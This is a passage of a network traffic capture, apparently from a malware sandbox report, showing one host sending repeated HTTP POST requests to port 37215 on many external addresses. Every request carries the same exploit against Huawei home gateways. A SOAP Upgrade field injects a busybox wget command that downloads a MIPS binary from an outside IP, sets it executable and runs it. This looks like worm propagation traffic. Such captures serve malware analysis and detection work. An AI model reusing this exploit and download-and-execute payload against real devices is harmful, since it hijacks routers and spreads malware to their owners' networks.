72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.14	53884	197.11.4.247	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:10.058060884 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.14	35998	156.207.216.152	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:10.059871912 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.14	53560	41.135.197.14	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:10.061558008 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.14	52332	197.210.89.215	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:10.063585997 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.14	54808	156.26.39.47	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:10.064567089 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.14	54928	156.186.222.188	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:10.065577984 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.14	33936	41.30.78.64	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:10.066556931 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.14	37632	156.42.73.218	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:10.067969084 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.14	50448	41.173.74.236	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:10.069286108 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.14	36708	197.177.156.30	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:10.071382046 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.14	39082	197.86.239.160	37215

Timestamp	Bytes transferred	Direction	Data
